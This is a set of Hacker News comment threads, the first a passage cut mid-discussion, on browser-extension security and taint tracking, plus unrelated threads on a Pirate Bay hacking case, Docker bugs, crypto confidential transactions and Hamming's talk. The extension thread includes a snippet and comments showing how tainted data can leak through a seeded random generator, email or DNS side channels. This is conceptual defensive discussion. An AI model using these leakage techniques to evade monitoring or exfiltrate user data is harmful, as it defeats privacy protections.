If you don't want to call kill from if depending on tainted data - sleep in that if, and call kill immediately after it.

> Calling rand() doesn't taint the generator. Seeding it within a tainted > scope does.

It does:

        set_seed(1337);

        for(int i=0; i<tainted[0]; i++) {
            rand();
        }

        int tmp = rand()); // now I know what tainted[i] was
                           // because I know how many times
                           // rand() was called, because I know
                           // the whole sequence because I know
                           // (untainted) seed.

<comment><USER8> _What if it was_

To clarify, tainting "scope" doesn't refer to variable scope but is commonly implemented as a (thread-local) global dict that tracks tainted access in execution order.

In your example the variable 'c' would be tainted from the moment the conditional evaluates until it is either re-assigned (from a non-tainted source) or until the program ends.

 _If your checker is smart enough to catch this - your whole program is tainted by your password once you check it in the login screen._

Not sure what you mean by "your password" in this context. Which password, from what source?

 _Calling rand() taints the generator_

Pardon, you are of course right. Yes it does.

</comment></comment></comment></comment></comment><comment><USER10> As in most cases related to security/privacy, the common user often lacks knowledge about what all this means. They've found an extension with a nice looking logo and a good description that says it will replace ads with pictures of cats - and that's exactly what they want.

In Chrome, you'll get a small popup box where you need to approve the extensions permissions. Things like "This extension can read and edit all the pages you visit" \- but there's no further information about what this means. If there were an extended view, where different permissions were explained, the cat loving user might start to wonder why the extension requires permissions to read all their history, clipboard, cookies, etc.

In the end, a lot of users will just click the OK button without reading anything. But there's still a greater chance of helping users make a decent choice when they understand what they're installing.

</comment><comment><USER11> Even in the limited example given there is a clear path of attack. An extension that is permitted to access mail.gmail.com can simply collect its target data and then email it to its self and delete the email afterwords.

<comment><USER12> Exactly. That's because the assumption that "extensions which deal with sensitive information are perfectly safe as long as they do not disseminate this sensitive information arbitrarily" is wrong. It doesn't just have access to information but to functionality too. So an extension which is supposed to make your bank's website less sucky, can send you money to someone else. Though, of course, the purposed approach could limit the impact (to one site only) of such extensions.

<comment><USER3> Right, minimizing attack surface is pretty important. Though the described attack scenario (a form of self-exfiltration attacks [1]) is something we did think about. (The details of the core IFC mechanism are describe in the COWL paper [2].) For example, if the extension only needs to read data from gmail.com it is tainted with a unique origin. (In general, IFC can be used to deal with both confidentiality and integrity.)

[1] [http://www.ieee- security.org/TC/W2SP/2012/papers/w2sp12-fina...](http://www.ieee- security.org/TC/W2SP/2012/papers/w2sp12-final11.pdf) [2] [http://www.scs.stanford.edu/~deian/pubs/stefan:2014:protecti...](http://www.scs.stanford.edu/~deian/pubs/stefan:2014:protecting.pdf)

</comment></comment></comment><comment><USER13> I think a mini browser with only the capabilities required to make a secure transaction should be used when sensitive information is to be transmitted. A full browser with add-ons is a very heavy piece of work to be secure or to be tested. Banks and other actors should use that piece for secure transactions and a full browser for ads and animations.

<comment><USER14> I do something like that by using different browsers. My main browser on OS X is Chrome with some extensions, but I do all my online banking in Safari where extensions are completely disabled.

</comment></comment><comment><USER12> I'd expect this to end up as Android app permissions in the best case where almost every app you try to install wants access to GPS, files and quite a few - to SMS. And the reason for this is quite clear - users (on a large scale) don't care about security and probably never will.

What this could help with is organizing easier review process. E.g. if an extension is described to show a weather forecast in the browser, it probably shouldn't be accessing mail.google.com.

</comment><comment><USER15> The premise is correct - we're willing to leak way too much. The proposed solution is sadly leakier; no metadata scheme needs be honoured by calling code. As aboodman noted, there are plenty of exfiltration methods possible, even sneakier ones like constructed DNS queries and the like. You can't catch them all, even if you force script through another level of interpretation.

</comment><comment><USER16> You can readily verify adblockplus at least doesn't take your info or do anything suspicious just by looking at its source: [https://adblockplus.org/source](https://adblockplus.org/source) That's how you "know" your extension or any other program you run isn't doing anything unwanted and that is the only way you'll ever know for sure. Browser extensions don't really need an additional layer of security, it is basic computer operation 101 to not install anything you don't trust.

<comment><USER17> You could of course read the source (although it's likely very few people do), but how do you assure that the code you download and install from the Firefox Add-On store is the same as the code that you read?

As to it being computer operation 101, not to run code you don't trust, how do you establish the trustworthiness of all the pieces of code that run on your computer? there's far too much for anyone to audit by themselves and there is no good way of assessing the security or intent of most of the organisations that you get code from.

</comment></comment><comment><USER18> Based on what they can do, extensions should be naturally trusted to the same extent as the browser itself... I think this is a feature, not a bug. Besides, AFAIK with extensions being distributed in the form of source code, it's not hard to inspect one to see what it truly does, and it only takes one person to find out and tell everyone else.

<comment><USER19> The issue with this is updates. In most of these cases with malicious addons, the addon was safe initially, then the author slips in some tracking code / spyware etc. at a later date.

While I might inspect a source for a single sketchy looking addon at installation, inspecting every addon every time it's updated (sometimes weekly or more often) is absurd, and that's why you get cases of adware slipping by for months before anyone notices.

<comment><USER18> You're very correct about updates, but on the other hand I wonder what type of addon needs to be updated at such a high frequency?

Although making a way to easily see the changes made with each new version, something diff-like, would alleviate the problem.

<comment><USER10> One part of the problem is that most of the extensions are updated silently in the background. Some extensions fire up a new tab with a page displaying new features and such, but this is not a requirement in any way.

<comment><USER3> Even worse, they only update if they don't need any additional permissions. Thus incentivizing developers to ask for more permissions up front.

</comment></comment></comment></comment></comment><comment><USER20> Sadly, I believe this won't work. Just complicate things.

Even if values and their derivatives are "tainted" (remember Perl 5?) there are _always_ means to take a value and "untaint" it. Unless, of course, the set of possible operations on such value is severely restricted, but I believe that'd make things unusable.

This reminds me of ICFPC'08 (one of best ICFP contests ever) where one of the puzzles was about a robot that wasn't able to disclose secret blueprint contents because of a Censory Engine. Every time a secret or some derived value was about to be printed, it was replaced with "REDACTED". Surely, there was a way to work around this. ;)

So, a malicious extension would always be able to steal your password and send it to remote site, even if it would have to leak the data bit-per-bit, a single bit per request, over a side channel.

</comment><comment><USER21> >> We found that more than 71% of extensions require permission to "read and change all your data on the websites you visit".

This is exactly the reason why I install so few extensions and buy none.

The same is becoming true for Android Apps, more of them require more permissions every day. Recently an app I'd run for months if not years wanted to install an update and demanded that I give it permission to view my phone calls and even the remote caller's phone number. This had nothing to do with the purpose of that app, all it would need at most is to know if a phone call came in so it could pause.

<comment><USER22> All of this applies to the browser itself, as well. Where do you draw the line on trust?

<comment><USER21> Do you mean if I open tab A on one site and tab B on another then they can read each other's data without any special permissions from me? If so then that's a security breach and not a discussion of which permissions a web app or mobile app should be allowed to have.

</comment></comment></comment><comment><USER23> I use Develop and Debug Chrome Apps & Extensions to see if an Extension does malicious stuff.

[https://chrome.google.com/webstore/detail/chrome-apps- extens...](https://chrome.google.com/webstore/detail/chrome-apps-extensions- de/ohmmkhmmmpcnpikjeljgnaoabkaalbgc)

Click on behavior to see the history or look at realtime stuff from extensions or apps. Requests and access(!) get recorded. It shows privacy-related history and the extension is from google.

</comment><comment><USER24> I can use the command like rm -rf _some log file_ right ? Hope this will not delete the directory. [http://www.besanttechnologies.com/training-courses/web- desig...](http://www.besanttechnologies.com/training-courses/web-designing- training)

</comment><comment><USER25> The concern is real and apparently I thought some proposed solutions were ncie. But then I read like "by default only GET request are possible which only allow reading a website", and I think why.. why?

</comment><comment><USER26> If the evil extension only has access to mail.google.com, what is blocking it from sending an email with your google-password?

</comment><comment><USER27> That last idea, encrypting data before it gets sent out, seems vulnerable to fingerprinting or other leakage. What kind of encryption would give evil.com no information about the plaintext?

<comment><USER3> Yep, you are right. If the crypto/label API didn't force a fixed-length blob (which may be hard to do), it would certainly be leaking some information.

<comment><USER27> I was thinking more like timing side channels (if you can force the encryption at will and it isn't fixed time).

The possible security models where you can send data but it's encrypted are not very appealing. For a single application it may be fine (lastpass, or chrome syncing with passphrase), but it's really hard to see how that can be a standard api and remain secure.

</comment></comment></comment><comment><USER28> Should a security conscious user not be using any extensions?

<comment><USER3> That's a tricky question. Some extension (e.g., HTTPS Everywhere[1]) can improve your privacy on the Web and are arguably written by developers that as trustworthy as your browser developers. But, in general, I would be cautious.

[1] [https://www.eff.org/https-everywhere](https://www.eff.org/https- everywhere)

</comment></comment><comment><USER29> Extensions available officially for major browsers are put through a review process first, and installing unofficial extensions requires going out of your way and there are multiple warnings given. The article conveniently doesn't mention this. FUD.

<comment><USER30> As aboodman points out ([https://news.ycombinator.com/item?id=10000966](https://news.ycombinator.com/item?id=10000966)):

> The extension system could try to detect such things, but there are a > variety of ways for bad extensions to work around the detections.

A computer proveably (in the mathematical sense) cannot detect all forms of bad behaviour; and the security history of all the software in the world proves (in the historical, not mathematical, sense) that neither can the best programmers, let alone overworked reviewers who see mostly benign or trivially malicious code and so are not experienced in finding subtly malicious code.

<comment><USER29> Firefox extensions are human-reviewed. Unfortunately Chrome's aren't unless their automated system detects something so for Chrome these concerns are more valid.

[https://developer.mozilla.org/en-US/Add- ons/AMO/Policy/Revie...](https://developer.mozilla.org/en-US/Add- ons/AMO/Policy/Reviews)

<comment><USER31> This may be outdated, and Google might have improved the process, but the problem I found is that trying to report the extension didn't seem to have any effect.

I had an experience awhile ago where I found a Chrome extension that was inserting its own ads among Google search results. It was subtle enough that most people probably would never notice it happening, inserting an ad in a place where you would expect Google display an ad in results.</comment></comment></comment></comment>


Pirate Bay co-founder charged with hacking and fraud - <AUTHOR> http://www.bbc.co.uk/news/technology-22182112 <comment><USER2> There is a high probability that this is false accusations, just "because we can" from the prosecutors ...

I'm from Sweden and I'm very sad to say that I don't consider Sweden to fulfil all the requirements for rule of law and legal security.

Even if he is acquitted from the crimes in a trial he will have spent a few months arrested and we don't have a bail system here in Sweden.

Both European committee for the prevention of torture and Amnesty International frequently criticize Sweden for the conditions for arrestees ... Yepp, that's where Gotfried is being kept locked up...

<comment><USER3> Have you even read the indictment? A casual look seems to indicate that the investigation is very thorough. (See another post here for link)

And if anyone is a flight risk who would never be granted bail it is Gottfried, He has already fled a sentence once - that is not to say that being in a 'häkte' is fun or humane, depending on circumstances.

Finally:

>I'm from Sweden and I'm very sad to say that I don't consider Sweden to fulfil all the requirements for rule of law and legal security. [Citation Neeeded]

<comment><USER4> Since he was already sentanced there was little need from a security perspective to keep him in 'häkte' for three months. Instead they could have just transfered him to the prison where he was to serve his previous sentence (as they eventually did).

<comment><USER5> Amnesty has repeatedly criticized Sweden for too harsh conditions in the "häkte", where remand prisoners are kept in isolation for extended periods of time.

For some cases prisoners are kept in isolation well over one year. This is a form of low-intensity torture and causes measurable harm to a person's brain and personality - PTSD being one of the more common residual damages done. And remember, people kept in "häkte" remand prison are suspects, still to be treated as innocent, and frequently exonerated by the courts. They still suffer the harm from the extended isolation.

Sweden in many ways have a good prison system but the extensive and common use of isolation by prosecutors is really bad and a disgrace.

</comment></comment></comment></comment><comment><USER6> >hacking into several Swedish companies and stealing personal data

Are these allegations true? If so, I don't think this man deserves sympathies. The punishment may be too harsh in my opinion for these type of crimes, but they are crimes nonetheless.

<comment><USER7> It's bullshit propaganda, and the charges are just as valid as Assange's rape charges, courtesy of the same corrupt government. The US entertainment industry wants to make an example of him.

>> He was also charged with hacking into the computer servers of Logica, a Swedish company that handles tax documents.

"Oh noes! Don't hack our _taxes_!!"

Logica is a big, bloated IT services company that makes (shitty) custom software for big customers, typically government agencies. They're in Finland too, but originally from England.

<comment><USER8> Corrupt government? Are we talking about Sweden or Somalia? Sweden is one of the least corrupt countries in the world so please stop with your ridiculous conspiracy theories.

<comment><USER7> Every government is corrupt, because the very arrangement of government itself leads to corruption.

In Sweden's case, it's just not your average third-world style corruption like "hand me a bag of money and let's see about that building permit" - it's more about various "constituents" trading in favours/influence/power/positions/money.

Of course, the same kind of corruption applies to the US too. For example, campaign contributions are bribes already.

<comment><USER9> Flawed argument based on generalization.

The sentence itself reveals the fallacy: "leads to corruption", suggesting at some point it is not corrupt -- contradicted by "every government is corrupt". Q.E.D.

<comment><USER7> Somehow there's always someone complaining about a "generalization", isn't there?

Here's what I said:

>> Every government is corrupt, because the very arrangement of government itself leads to corruption.

In this statement, "every government is corrupt" is a description of the state of affairs that the arrangement of government leads to. This does not contradict the idea of a government possibly _not_ being corrupt at its inception - the point was that a government is a _flawed_ institution right from the start.

Bear in mind, a government is a group of people that:

\- Wields power over millions of people, and decides everything for them, even though their one-size-fits-all -solutions are practically guaranteed to not fit all.

\- Forcefully extracts money from millions of people, and then uses it as they see fit.

\- Is not responsible for their actions to anyone. In other words, no matter what they do, they won't suffer any negative consequences. Sure, someone may not get re-elected, but that doesn't really matter, and they'll still enjoy a fat pension (of other people's money) and so on.

</comment></comment></comment></comment></comment></comment><comment><USER10> This thing doesn't surprise me too much. The pirate movement has for a long time said that if you constantly call people criminals, the risk that they later actually will commit crimes goes up. I can understand if a person going through the circus called the pirate bay trial is slightly resentful of the Swedish state, and might not feel too respectful of its law.

Still a crime of course, and still wrong.

</comment><comment><USER11> > illegally transfer money from a bank.

What does it mean to illegally transfer money? Is this a euphemism for stealing?

<comment><USER12> "Illegally transferring money" may mean the following, which would not be called "stealing":

* Transferring money between two bank accounts neither of which one owns. For example, I could transfer money from niggler's bank account to Obama's bank account, without personally benefiting from it, "for the lulz," or for trying to see if I actually have access to do that after having hacked into a bank's system.

* Transferring my own money from my bank account to another bank without having permission to do so. Maybe the money has been frozen in some way. In that case, it is my own money, so it isn't stealing.

Not sure what happened here, but the term is broader.

</comment></comment><comment><USER13> PCWorld reports he "hacked IBM mainframes". [1] I would be interested in knowing the details of this. I am a sysprog for z/OS for a financial institution by day, and I have never heard of any sort of intrusion like this. Not that these systems are completely bulletproof, but I expect there is some fabrication in these statements. These systems are usually deep in the backend and obscurely buried in archaic and proprietary architectures. Unless Warg had any experience with this platform or some sort of inside help, I highly doubt this allegation.

[1]: [http://www.pcworld.com/article/2034733/pirate-bay- cofounder-...](http://www.pcworld.com/article/2034733/pirate-bay-cofounder- charged-with-hacking-ibm-mainframes-stealing-money.html)

<comment><USER10> The prosecutor document describe the "hack" as Gottfrid testing a bunch of default password at an wireless route, and from there, using the internal networks "automated processes" (ie, I assume they mean that the system lacks any security against the internal network).

</comment></comment><comment><USER14> tpb is great. But its founders? may not be so.

</comment><comment><USER15> One does not simply sue our hero

<comment><USER16> Your reddit is leaking. Mop it up.

<comment><USER17> Yes, far too many people are joining us from 4chan/reddit.</comment></comment></comment>


So We've Had a Few Problems with Docker in Production - <AUTHOR> And by a few, I mean 4 bugs in a month that would wipe out an entire cluster but leave Kube thinking it was up. We issued dumpster fire awards for those of us who spent weeks troubleshooting and fixing them. After all, a dumpster is a container.
http://i.imgur.com/i66FpAZ.jpg
Relevant:
https://github.com/docker/docker/issues/22502
https://github.com/docker/docker/issues/28518
https://github.com/docker/docker/issues/28889
https://github.com/docker/docker/issues/26492
Anyone else got some docker war stories? <comment><USER2> The more that I played with the docker, the more I realized that its use cases are far more limited than people will advertise. Several project leads that I've worked with knew what doctor was based on the description on its website, or some product review blog.

The majority of my time spent assessing dockers viability, was in convincing my bosses that this product did not solve the problems they were trying to address.

</comment><comment><USER3> > Anyone else got some docker war stories?

Yep. Wrote a blog post about that :D

[https://thehftguy.com/2016/11/01/docker-in-production-an- his...](https://thehftguy.com/2016/11/01/docker-in-production-an-history-of- failure/)

What systems/OS/docker version are you running?

</comment><comment><USER4> We are running docker as well and I have setup a few clients on it. Haven't run into the ones you have but appreciate the effort you guys are making to make it more production ready and stable :)</comment>


Ask HN: How do you sync your music, playlists? - <AUTHOR>

How does HN sync their music, playlists between devices? <comment><USER2> I made a website called <http://tunejet.net> that lets people play MP3s on virtually any platform that runs Chrome (including iOS). You can either store your songs in a public Dropbox folder or another server and point tunejet to the URLs, or you can find them online. It's pretty convenient, I think, and it's a nice iTunes workaround.</comment>


Ask HN: Anyone interested in a private Ruby gem hosting service? - <AUTHOR>

As part of a project I'm working on, I've built a service to host my custom Ruby gems. Many of them are proprietary and will not be released via RubyGems.org, but some are just tweaks I've made by forking projects on Github that have not been pulled yet. The service makes my deploying story much simpler.
At this point, it's in "single player mode" but if there is interest in the community, I can hack it up for everyone else. Either reply to this thread and/or leave your email here if you're interested in updates: http://www.gemfury.com/
EDIT: http://twitter.com/gemfury will have updates too <comment><USER2> Clicky: <http://www.gemfury.com></comment>


Show HN: Harmonizely – Schedule meetings without back and forth emails - <AUTHOR> https://harmonizely.com <comment><AUTHOR> Hi,

my name is Raph and together with my friends, we are building a tool which helps to automatically set meetings with others, without exchanging back and forth emails.

We know there are plenty of apps like that, but they don't perfectly fit into every use case, the value of the existing apps is not satisfactory or there are limited features.

So, we have created a simple website where you can put your email address and we will notify you once the tool will be available.

It would be really helpful if you could give us some feedback about the website and the idea in general, either you like it or not and of course feel free to sign up.

Or if you have any questions, I will be more than happy to answer them.

</comment><comment><USER2> Interesting. I think you should tell us more about how it's better than existing services. Also state the price of the given service. I don't give my email in exchange for vague promises. Also, you could get rid of the menu, as it's pretty useless for now. I think if your project gets better than existing products, it could be a hit. And you get free growth by having people invite their colleagues to events

<comment><AUTHOR> Thanks for your feedback @lecarore!

Indeed, we can list main features too and in what way it is better than other products to encourage people to sign up - we will update the website with details.

We want to have a free plan with limited features and a pro plan for around ~$10/month.</comment></comment>


When Our Brains Short-Circuit - <AUTHOR> http://www.nytimes.com/2009/07/02/opinion/02kristof.html?_r=1

<comment><USER2> "If you come across a garter snake, nearly all of your brain will light up with activity as you process the "threat." Yet if somebody tells you that carbon emissions will eventually destroy Earth as we know it, only the small part of the brain that focuses on the future — a portion of the prefrontal cortex — will glimmer"

Correct me if I am wrong here, but it's a darn good thing too. How horrible would it be if you got a flight or fight response every time a possible diffuse future threat was mention in passing by someone? I hardly think this example can be characterized as a flaw.

<comment><USER3> It's a flaw if we are short-sighted most of the time and not using our power of reason, foresight to prevent threats in the not-so-immediate future. Also, we react to future threats differently depending on the type of threat. We react more strongly to the threat of WMDs in Iraq than we do to climate change. The article is suggesting that there is a hard-wired reason for this and we are not being completely rational when evaluating both of those threats.

<comment><USER2> "using our power of reason, foresight.."

I never said we shouldn't use our powers of reason and foresight. Reason and foresight are NOT the same thing as a fear response. They are, in fact, very different and precisely the response we SHOULD have. The entire reason for reflex action in the body is to respond to _immediate_ threat. The fear reflex is entirely inappropriate when dealing with longer term problems that require thought and foresight.

<comment><USER3> We are in agreement. I reread the last part of your initial comment and I see that I somehow misread it. My apologies!

</comment></comment></comment></comment><comment><USER4> If any readers are interested in this sort of thing, then I highly (very, very highly) recommend the following links:

<http://www.overcomingbias.com>

<http://www.lesswrong.com>

</comment><comment><USER5> Bypass registration and view the article directly here:

[http://www.nytimes.com/2009/07/02/opinion/02kristof.html?_r=...](http://www.nytimes.com/2009/07/02/opinion/02kristof.html?_r=1)

</comment><comment><USER6> Sounds like OP gives a free pass to those who only use the reptilian third of their brain because of "evolution".

<comment><USER7> You go to war with the brain you have, not the brain you wish you had. The best you can do is be aware of these emotionally-charged valences so that you are able to discount them when appropriate.

Besides, even if you could completely turn off these processes, I am not sure that you would want to. By calling it the reptilian brain you make it sound like it is only appropriate for reptiles. The fact is, the same system that tells us instinctually that snakes are threats is probably involved in much of what is called "people skills". Normal social interactions would be at a huge disadvantage without them.</comment></comment>


Ask HN: Do you think this is a good business idea? Rent your luggage - <AUTHOR> http://itworld.com/mobile-amp-wireless/76964/upcoming-service-lets-you-travel-without-luggage

<comment><USER2> Slightly off-topic, but why isn't every major purchase not rentable? Like zipcar for everything from vacuum cleaners, video projectors, to lawn mowers and everything else you use very rarely.

I don't like owning stuff; I find it to be a burden. How come I can't rent things that are expensive and needed rarely? I don't see a reason why the world has N vacuum cleaners when only N/m for some large value of m are being used on any given day. I'm not saying we need a global pool of vacuum cleaners, but no reason a neighborhood can't have like half dozen that people rent/share.

<comment><USER3> vacuum cleaners aren't that expensive, so renting them out might not be a very good business plan unless you do it with larger items. and thats already a business.

<http://www.rentacenter.com>

</comment></comment><comment><AUTHOR> I am very intrigued by this idea. But I'm not sure if people would rent clothes or not.

I know one thing: the company will have more success if they joint venture with just one specific chain of hotel - at least initially. Will allow them to scale with grace. And will get the hotel to promote their services too. (Rent luggage while you're booking your room online. Just one extra step. No need for 2 different transactions.)

And also - a lot of people will end up buying the stuff they've rented out - and this revenue can be shared with the hotel.

</comment><comment><USER4> Hrm, not sure.

If I'm travelling somewhere for a short duration that requires a hotel/change of clothes, it's easy for me to just bring a carry on. 9 times out of 10, I have to bring my laptop anyway, so it's not a huge deal to carry a small travel pack with a laptop, change of clothes and a toiletries kit.

Any more than that and I want luggage, so the service is useless.

I'm not sure if I'm the idea target market, but I'm not sure I see any real value here.

</comment><comment><USER5> I always travel without checked luggage. My wife and I did 6 weeks in South Island New Zealand in winter having travelled hand luggage only.

The discipline is difficult, but worth cultivating. If you can't be bothered, perhaps this service is for you.

</comment><comment><USER6> I would think most of the bulk in a checked bag is clothes, which people aren't going to rent. I'm not sure what else they had in mind to rent.

I think the virtual closet would be a great idea though if you split your time between two cities.</comment>


Ask HN: Alternative to Internet Wayback Machine? - <AUTHOR>

The Internet Wayback Machine seems to be down at the moment, and I was wondering if there are good alternatives in comparison. <comment><USER2> There is, but it hasn't been created yet.

ConstantCrawl</comment>


Confidential Transactions from Basic Principles - <AUTHOR> http://cryptoservices.github.io/cryptography/2017/07/21/Sigs.html <comment><USER2> Strange to not cite the origin of the confidential transactions scheme.

an early writeup: [https://people.xiph.org/~greg/confidential_values.txt](https://people.xiph.org/~greg/confidential_values.txt)

[http://diyhpl.us/wiki/transcripts/gmaxwell-confidential- tran...](http://diyhpl.us/wiki/transcripts/gmaxwell-confidential- transactions/) which is a transcript of [https://www.youtube.com/watch?v=LHPYNZ8i1cU](https://www.youtube.com/watch?v=LHPYNZ8i1cU)

The actual borromean ring signature paper (compiled into pdf): [http://diyhpl.us/~bryan/papers2/bitcoin/Borromean%20ring%20s...](http://diyhpl.us/~bryan/papers2/bitcoin/Borromean%20ring%20signatures.pdf)

Confidential transactions was later extended to confidential assets: [https://blockstream.com/bitcoin17-final41.pdf](https://blockstream.com/bitcoin17-final41.pdf) and [https://blog.chain.com/hidden-in-plain-sight-transacting- pri...](https://blog.chain.com/hidden-in-plain-sight-transacting-privately-on- a-blockchain-835ab75c01cb)

<comment><USER3> You're right. I should have at least included this reference: [https://elementsproject.org/elements/confidential- transactio...](https://elementsproject.org/elements/confidential- transactions/)

<comment><USER4> FWIW, I've found it much easier when explaining people to first explain a pedersen commitment. Then explain how a pedersen commitment can be forged if you know the discrete log relating the two generators.

Then I explain a chameleon hash function as a hash function where you can generate collisions if you know a trapdoor, which is just a pedersen forgery... then you feed the output of the chameleon into its input, and... and the result is a schnorr signature.

So each idea builds on the last.

</comment></comment></comment><comment><USER5> The version of non-interactive Schnorr presented here is called "weak Fiat- Shamir" and it has led to things getting broken. While there are edge cases when it's ok to use, I would strongly discourage it.

In step 2, e = H(Q || M) should be e = H(Q || M || P). That binds the signature to the public key, if you don't have that then the scheme is not sound in the usual models (UF-CMA +ROM etc.).

EDIT: see "How not to prove yourself", Asiacrypt 2012, eprint 2016/771.

<comment><USER3> Reading through the linked paper, it seems that as long as P is fixed before the proof is attempted, wFS is secure. I probably could have made it more explicit, but that is indeed my assumption in the setup of the blog post.

</comment></comment><comment><USER6> One thing that worried me a bit about confidential transactions: Bitcoin seems fairly securely-designed, but even it had an integer overflow bug: [https://en.bitcoin.it/wiki/Value_overflow_incident](https://en.bitcoin.it/wiki/Value_overflow_incident)

That particular bug seems explicitly covered by this cryptography, using the rangeproofs. But if there were ever some other subtle bug that created money out of thin air, would you be ever able to detect it? The schemes mentioned all seem to sanity-check individual transactions, and not accounts or the money supply as a whole.

The article mentions Monero and CryptoNote, for example: [https://getmonero.org/2017/05/17/disclosure-of-a-major- bug-i...](https://getmonero.org/2017/05/17/disclosure-of-a-major-bug-in- cryptonote-based-currencies.html)

And that page says: "This effectively allows someone to create an infinite amount of coins in a way that is impossible to detect without knowing about the exploit and explicitly writing code to check for it."

It seems like a formal correctness proof would be very important for cryptocurrencies with such strong privacy guarantees.

<comment><USER7> There's a trade off you have to make where you can choose either absolute privacy and computational inflation guarantees, or vice versa. Strangely confidential transactions chooses strong privacy over inflation guarantees.

<comment> Ar-Curunir It's not a strange tradeoff though

<comment><USER7> Are you sure? If you lose privacy, that sucks but it reverts back to bitcoin of today. If you lose inflation guarantees, then it doesn't matter if you have privacy because the whole system becomes worthless.

<comment><USER8> Some people (myself included) would rather the system become worthless than anyone's privacy being at risk.

<comment><USER9> So you'd rather lose your savings than have anyone reveal your holdings? This seems to me like a rather extreme point of view.

I mean, you have to keep your savings somewhere, right? You need savings for when you retire. And no alternative offers 100% anonymity, so in that case you _would_ risk your anonymity for the security of your savings, right?

I'm not saying cryptocurrency will comprise even a minor part of your retirement savings any time soon, but perhaps in 10/20/30 years?

<comment><USER8> It depends entirely on what you're doing. There are people who "save" cryptocurrency and depend on its long-term value, but there are also people who are more worried about going to prison (or being murdered/extorted) than whether their coins will be worth anything in a few years.

The problem is that non-private cryptocurrencies are permanent records of financial activity. I would rather risk soundness now than privacy forever, especially when there are post-quantum paths forward and our current assumptions are reasonable.</comment></comment></comment></comment></comment></comment></comment>


Richard Hamming: You and Your Research (1986) - <AUTHOR> http://www.paulgraham.com/hamming.html <comment><USER2> > _You may find yourself as I saw Brattain when he got a Nobel Prize. ...[he > never did great work again]_

It is a shame that Hamming didn't focus on Bardeen, who shared that Prize (it was for the transistor). Bardeen then went on to win a second prize (for superconductivity.)

Great article though.

BTW: It is worth pointing out that there is a great deal of his wisdom that was very much Bell-Labs culture. A fair amount of that simply does not translate to the startup world.

<comment><USER3> I don't think that's true. I think doing great work in the major problems in your field of choice are the exact heights that entrepreneurialism should strive for.

(Disclaimer: I recently wrote an essay arguing this same thing, for designers, for the upcoming issue 03 of Distance, which you can subscribe to at <http://distance.cc/>)

This essay was a turning point for me as a professional, when I found it, years ago. Entrepreneurs have the benefit of being able to look for and solve important problems in _any field_. And what makes a problem important? Here's how you adapt Hamming's essay on important pure science into important design work:

 _What makes a problem important? It's not the end result: responsive web design provides a new way to build sites, but it's not the only way. Rather, importance is a factor of_ solubility: _important problems are answerable, if only you could connect the right dots. Important problems advance understanding. Marcotte figured out how to unify design rhetoric across many devices, but he probably didn't know he was going to get there when he started in 2009: the iPad didn't exist yet, and neither his articles nor his book mention "iPhone" or "mobile" or even just "phone" in a relevant context._

 _You can't know exactly what field to work in, but you can stay active in places where something might happen. Maybe these places are where the work is diligent rather than sexy – like documenting the history of interaction design, saving rare hardware, or preserving old books. Maybe they are social and cultural, like educating designers on the value of professional practices, designing supportive professional societies, and building tools for study. Or maybe the future will be built on defining best practices for future tools and their interactions. Wherever you see important problems, you'll do great work by sharing your explorations with others._

I go on to give examples of important problems facing designers today. They're everything from how we design, to big data, to the internet of things, to natural user interfaces.

You can solve major problems in online payments, and then solve major problems in electric vehicles, and then solve major problems in space travel. You don't have to be limited by your field of academic research, and your lunch tables of chemists and mathematicians can be those of any industry in the world.

Working on important problems means your work will have long-term _meaning_.

<comment><USER2> > _I don't think that's true._

Then I'm gonna bet that you never worked at Bell Labs.

> _I think doing great work in the major problems in your field of choice are > the exact heights that entrepreneurialism should strive for._

The time scale is vastly different. Entrepreneurs are not interested in starting programs that will yield results only after 10-20 years, and VCs have an even shorter attention span. Hell, funding events (which require showing progress) every _two_ years are considered successful in the startup culture.

<comment><USER4> > Entrepreneurs are not interested in starting programs that will yield > results only after 10-20 years

What about the SpaceX's of the world? Founded in 2002; docked with the ISS in 2012.

<comment><USER2> > _What about the SpaceX's of the world?_

The folks Hamming mentioned did things and discovered things that had never been done before.

SpaceX docking with the ISS? You know that has already been proven out; so not exactly fertile new ground to win a Nobel Prize with.

<comment><USER4> I doubt that docking with the ISS is the end-goal of SpaceX. Musk talks about missions to Mars, and even helping to establish a human presence there. The latter certainly hasn't been done before.

My point was that, even at the 10-year mark, SpaceX is still working towards its goal -- a goal that may very well not yield its results until after the 20-year mark.

While I appreciate that Musk stands out partly as an exception to the rule, I think it's nevertheless reasonable to concede that not all entrepreneurs are focussed on 2-year goals.

</comment></comment></comment></comment></comment></comment><comment><USER5> There's also a youtube video of this talk from '95 - <http://www.youtube.com/watch?v=a1zDuOPkMSw>

<comment><USER6> Wow, this youtube user also has the complete "Learning to learn" course video lectures available, I made a separate submission out of this as I know the course from Hammings book based on it and it's excellent stuff, I was really happy discovering it.

</comment></comment><comment><AUTHOR> Submitted many times before, although getting very little discussion:

[http://www.hnsearch.com/search#request/all&q=title%3A%28...](http://www.hnsearch.com/search#request/all&q=title%3A%28you+and+your+research%29&start=0)

Referenced in many other discussions, and submitted here again because of this question:

<http://news.ycombinator.com/item?id=4626201>

</comment><comment><USER7> I've been thinking of doing a video of this to spread it around further. Too many people see "wall of text" and run away. Any interest?

<comment><USER8> It's been a while since I read it, but I think I would have preferred an abbreviated version to a video version.

</comment></comment><comment><USER4> There are some fantastic insights in this talk. I particularly liked:

 _What appeared at first to me as a defect forced me into automatic programming very early. What appears to be a fault, often, by a change of viewpoint, turns out to be one of the greatest assets you can have._

I'll really try to keep this one in mind the next time I run into a frustrating "just so" problem.

</comment><comment><USER9> I believe that the Hamming Distance was named after Richard Hamming.

<comment><USER2> Hamming Distance, Hamming Code, Hamming Window off the top of my head. He was a busy dude.

</comment></comment><comment><USER10> I do love this talk and this bit is a really good explanation for why I blog and contribute to open source:

 _You should do your job in such a fashion that others can build on top of it, so they will indeed say, "Yes, I've stood on so and so's shoulders and I saw further." The essence of science is cumulative._

</comment><comment><USER11> TL;DR: Our society frowns on people who set out to do really good work. You're not supposed to; luck is supposed to descend on you and you do great things by chance.

...There are a whole pail full of opportunities, of which, if you're in this situation, you seize one and you're great over there instead of over here. There is an element of luck, yes and no. _Luck favors a prepared mind; luck favors a prepared person. It is not guaranteed;_ I don't guarantee success as being absolutely certain. I'd say _luck changes the odds, but there is some definite control on the part of the individual._

</comment><comment><USER12> It seems like no one had compiled a list of all names mentioned in the talk, so I just compiled a list. I hope this be easier for younger generation to know who are those people.

<http://en.wikipedia.org/wiki/William_Gardner_Pfann>

<http://en.wikipedia.org/wiki/Claude_Shannon>

<http://en.wikipedia.org/wiki/Richard_Hamming>

<http://en.wikipedia.org/wiki/Richard_Feynman>

